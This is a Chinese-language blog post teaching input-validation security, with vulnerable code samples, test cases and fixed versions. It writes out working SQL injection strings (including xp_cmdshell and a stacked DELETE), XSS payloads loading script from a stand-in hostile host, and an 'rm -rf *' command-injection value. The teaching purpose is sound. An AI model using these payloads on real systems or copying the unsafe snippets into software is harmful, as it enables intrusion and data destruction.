• 資料輸入驗證的資訊安全設計原則、測試、個案與實作

    這篇文章主要說明資料輸入的驗證所帶來的資訊安全風險、怎樣才是比較適合的輸入驗證?

    測試上建議的測試個案(XSS injection, Command injection, SQL injection)、相關的資安新聞實例與實作上的建議。

    系統會從各個層面接收到使用者所資料輸入,

    這些使用者所輸入的資料可能因為過失、錯誤或是刻意攻擊行為等,造成系統的異常或是非預期行為。

    因為針對使用者輸入除了在使用者程式端要檢查之外,後端伺服器與資料庫更是要再次檢查。

     

    資料驗證安全原則

    使用者輸入除了在使用者程式端要檢查之外,後端伺服器與資料庫更是要再次檢查。

    檢查的規則為何呢? 基本上分為四大類

    • Known Good Exact Match (Whitelisting)
    • Known Good Characters (Whitelisting)
    • Known Bad Characters (Blacklisting)
    • Known Bad Exact Match (Blacklisting)

    安全設計的原則如下:

    • 任何跟資料庫有關的輸入參數都要進行檢查 (避免 SQL injection 或是非預期的資料寫入資料庫)
    • 資料回傳給使用者時也要檢查 (看看是否使用者透過其他方式取得非授權的資料)
    • 驗證是否有執行系統指令相關的參數 (主要避免 command injection 的風險)
    • 驗證輸入值的長度 (避免 buffer overflow 所帶來的 exploit)

     

    SQL injection程式範例

    這個例子就是一個 SQL Injection 的程式範例

    1  string strUser = request.getParameter("user");
    2  string strPwd = request.getParameter("password");
    3
    4  string strQuery = "SELECT * FROM users5                     WHERE username = '" + strUser + "'
    6                     AND password = '" + strPwd + "'";
    7
    8  ExecuteQuery( strQuery, db_connection );

    使用者可以透過輸入下列的資料,造成SQL injection。

    測試個案1 : Adam’–

    使用者名稱輸入  Adam’–

    因為程式執行的時候,這個使用者名稱被帶入整個 SQL 的語句時,會變成下列結果。

    SELECT * FROM users WHERE username = ‘   Adam’  —  ‘ AND password = ”

    由於 — 符號在SQL 中是註解的意義。因此上述 SQL 語句又等於下列SQL 語句

    SELECT * FROM users WHERE username = ‘  Adam’

    造成不需要密碼就可以登入成功。

    測試個案2 :  a’  OR   1=1  —

    另外,使用者名稱也可以輸入 a’  OR   1=1  —

    如此一來也可以造成 SQL 語句中的 Where 條件永遠成立。

     

    測試個案3: 輸入”;”造成多重語句

    當使用者名稱輸入為

    a’; DELETE FROM username; SELECT * FROM items WHERE ‘a’=’a

    整個 SQL 語句就會變成

    SELECT * FROM username WHERE user = ‘a’; DELETE FROM username; SELECT * FROM username WHERE ‘a’=’a‘ AND password = ”

    分行來看的話就是

    SELECT * FROM username WHERE user = ‘a’;

    DELETE FROM username;

    SELECT * FROM username WHERE ‘a’=’a’ AND password = ”

    測試個案4:透過 SQL injection執行指令xp_cmdshell

    當使用者名稱輸入為

     

    ‘; EXEC master..xp_cmdshell ‘dir’ —

    整個 SQL 語句就會變成

    SELECT * FROM username WHERE user = ‘   ‘; EXEC master..xp_cmdshell ‘dir’ —   ‘ AND password = ”

    分行來看的話就是

    SELECT * FROM username WHERE user = ”;

    EXEC master..xp_cmdshell ‘dir’ –‘ AND password = ”

     

     

    新聞案例

    http://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/

    有些網站的參數是透過 URL 傳遞,例如這個利用透過 PageNav與Page 傳遞所需要的資料頁數,

    http://www.hbgaryfederal.com/pages.php?pageNav=2&page=27

    因此駭客就有可能利用巧妙的改變 PageNav 與 Page 的值達到 SQL injection。

    SQL injection 安全設計

    對於 SQL injection 來說,怎樣才是比較安全的設計呢? 主要有三點

    • 限制長度 (例如,使用者名稱不需要超過 30字元)
    • 只允許合法字元 (例如,使用者名稱只可以用a-z, A-Z。這也就是為什麼有些網站會禁止一些特殊字元的用法)
    • Prepared statement (一般程式語言都會提供這樣的機制,就可以過濾掉 SQL injection 的問題)

    上述的程式範例修改如下:

    1   string strUser = request.getParameter("user");
    2   if(strUser.length > 100) error();
    3   if(strUser.matches("^[a-zA-Z]+$") == false) error();
    4
    5   string strQuery = "SELECT * FROM users6 WHERE username = ?
    7                      AND password = ?";
    8
    9   PreparedStatement stmnt = null;
    10  stmnt = db_connection.prepareStatment(strQuery);
    11  stmnt.setString(1,strUser);
    12  stmnt.setString(2,strPwd);
    13  stmnt.execute();

     

    資料回傳至使用者前的驗證 (XSS)

    要做這樣的驗證主要是避免 JavaScript injection 所帶來的資訊安全風險,

    常見的例子,使用者巧妙的輸入一段 JavaScript 程式至留言板,其他訪客瀏覽到那個留言版時,就會執行該JavaScript造成非預期的結果

    XSS 程式範例

    例如這個範例,輸入 label

    1  <% string strLabel = request.getParameter("label"); %>
    2
    3  <P>
    4    Label: <%= strLabel %>5  </P>

     

    XSS測試個案 1

    如果駭客輸入下列字串:

    <SCRIPT SRC=http://hacker.org/malicious.js />

    就會導致整個網頁變成下列狀態,間接執行 Hacker 所設計的 JavaScript 程式。

    <P>

    Label:   <SCRIPT SRC=http://hacker.org/malicious.js />

    </P>

    XSS測試個案 2

    如果駭客輸入下列字串:

    <IMG SRC=javascript:alert(‘XSS’)/>

    alert()也是我們用來測試是否有 XSS 資安風險的常見輸入個案。

    如果該輸入有 XSS風險,輸入之後就會在畫面直接看到一個 popup 視窗

    XSS測試個案 3: 利用 Tamper Data 修改 Http 參數

    XSS 可能發生在任何 Http Post/Get 的參數中,例如下列Post 參數有 id 與 action。

    可以針對 id 輸入 <IMG SRC=javascript:alert(‘XSS’)/>,測試是否有 XSS injection 風險。

    新聞個案- 透過 XSS 自動加入好友

    http://it.slashdot.org/story/05/10/14/126233/Cross-Site-Scripting-Worm-Floods-MySpace

    之前大名鼎鼎的 MySpace,有人透過 XSS 的方式讓其他訪客 “自動”就加入好友,因此在短時間內累積大量的好久。

     

    修改後程式

    上述的程式要如何修改才能避免 XSS安全風險呢?

    • 限制合法字元
    • 針對輸出 Encode。輸出包含 URL,HTML與 JavaScript。特別是 < 與 >的字元。
    1  <%
    2  string strLabel = request.getParameter("label");
    3  if(strLabel.matches("^[a-zA-Z0-9]+$") == false) error();
    4  %>
    5
    6  <P>
    7    Label: <%= encodeHTML(strLabel) %>
    8  </P>

     

    Command Injection 的資訊安全風險

    不好的程式範例

    1  my $options = readSocket($sock);
    2  my $command = "/bin/ls " . $options;
    3  system($command);

    上述程式,如果參數值輸入為

    -la;   rm -rf *;

    就會導致系統執行兩個指令,錯誤的將所有的檔案刪除

    /bin/ls -la;

    rm -rf *;

    這個資訊安全風險是最危險的。因為駭客可以透過這樣的方式執行系統任何指令。進一步取得整台電腦的控制權。

    如何避免這樣command injection的風險呢

    • 避免程式中可以透過輸入的方式執行系統指令。
    • 限制系統指令執行的權限設定
    • 限制輸入長度
    • 合法字元
    • 如果是指令參數輸入,可以考慮用選項的方式而不是任意輸入字元的方式。後端系統只會允許特定指定的選項 ID。

     

    修改後程式範例

    1   my $options = <STDIN>;
    2   if length($options) > 100
    3   {
    4      error();
    5   }
    6   if ($options =~ m/^[a-zA-Z\- ]+$/)
    7   {
    8      my $command = "/bin/ls " . $options;
    9      system($command);
    10  }

     

    Buffer Overflow的資訊安全風險

    Buffer Overflow 是另外一個常見的資訊安全風險,駭客透過這樣的方式甚至可以取得系統權限,或是執行特定程式。

     

    例如 IIS7.5 曾經發生的 Buffer overflow ,駭客透過這個漏洞可以執行任意的程式。

    http://www.cvedetails.com/cve/CVE-2010-2730/

    2015因為Buffer Overflow 所發現的資訊安全風險

    http://www.cvedetails.com/vulnerability-list/year-2015/opov-1/overflow.html

    iOS before 8.4.1 and OS X before 10.10.5也因為 Buffer overflow 的風險造成駭客可以執行任意程式。

    http://www.cvedetails.com/cve/CVE-2015-5757/

    這類系統性的風險相對測試有些難度。

     

    系統安全設計上考量

    • 避免使用會造成 buffer overflow 的 API。例如 strcpy
    • 驗證輸入的值的長度
    • 合法字元、包含 NULL 與特殊字元
    • 最大值與最小值
    • 限制合法字元的輸入

     

    Posted by Tony @ 3:13 pm

  • Leave a Reply

    Your email address will not be published.